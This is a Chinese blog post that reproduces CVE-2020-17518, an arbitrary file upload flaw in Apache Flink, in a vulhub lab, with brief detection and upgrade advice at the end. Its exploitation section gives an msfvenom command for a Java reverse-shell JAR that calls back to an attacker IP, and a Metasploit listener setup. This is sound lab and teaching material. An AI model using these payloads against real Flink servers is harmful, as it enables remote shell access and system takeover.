Featured image of post 【CVE-2020-17518】Apache Flink任意文件上传漏洞复现

【CVE-2020-17518】Apache Flink任意文件上传漏洞复现

文章共611字

0x00 漏洞描述

Apache Flink 是由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎。Flink以数据并行和流水线方式执行任意流数据程序,Flink的流水线运行时系统可以执行批处理和流处理程序。
编号:CVE-2020-17518
Flink 1.5.1引入了REST API,但其实现上存在多处缺陷,导致目录遍历和任意文件写入漏洞。

0x01 影响范围

Apache Flink 1.5.1 ~ 1.11.2

0x02 环境搭建

启动vulhub_kali_linux
进入vulhub靶场已经给CVE-2020-17518搭建好的环境

1
cd vulhub/flink/CVE-2020-17518

使用docker启动flink环境

1
docker-compose up -d

环境启动后,本机访问

1
http://192.168.197.137:8081

image.png

0x03 漏洞复现

上传任意文件,进行bp抓包
image.png
image.png
在filename字段值修改为jar后缀名 ,发送请求,回显的状态码200以及参数说明上传成功
image.png
回显的信息发现上传文件的位置:

1
/tmp/flink-web-fc404e92-f1db-4258-923e-10f2199225eb/flink-web-upload/

0x04 漏洞利用

使用kali的msfvenom工具,生成文件的目录自定义
lhost为kali_linux的IP地址   lport为kali_linux的端口  >后面为文件路径以及文件名

1
msfvenom -p java/shell_reverse_tcp lhost=192.168.197.129 lport=1314 -f jar >/home/slimer/桌面/2.jar

image.png
启动msf监听

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
msfconsole
# 设置监听模块
use exploit/multi/handler
# 设置 payload
set payload java/shell_reverse_tcp
# 设置监听 IP 地址
set lhost 192.168.197.129
# 设置监听端口
set lport 1314
# 执行
run

image.png
上传2.jar文件
image.png
成功监听:
image.png

0x05 漏洞检测

可以通过分析apache日志来检测攻击。

0x06 漏洞修复

1
2
官方已发布安全版本,请及时下载升级至安全版本。
https://flink.apache.org/zh/downloads.html
站点已运行计算中...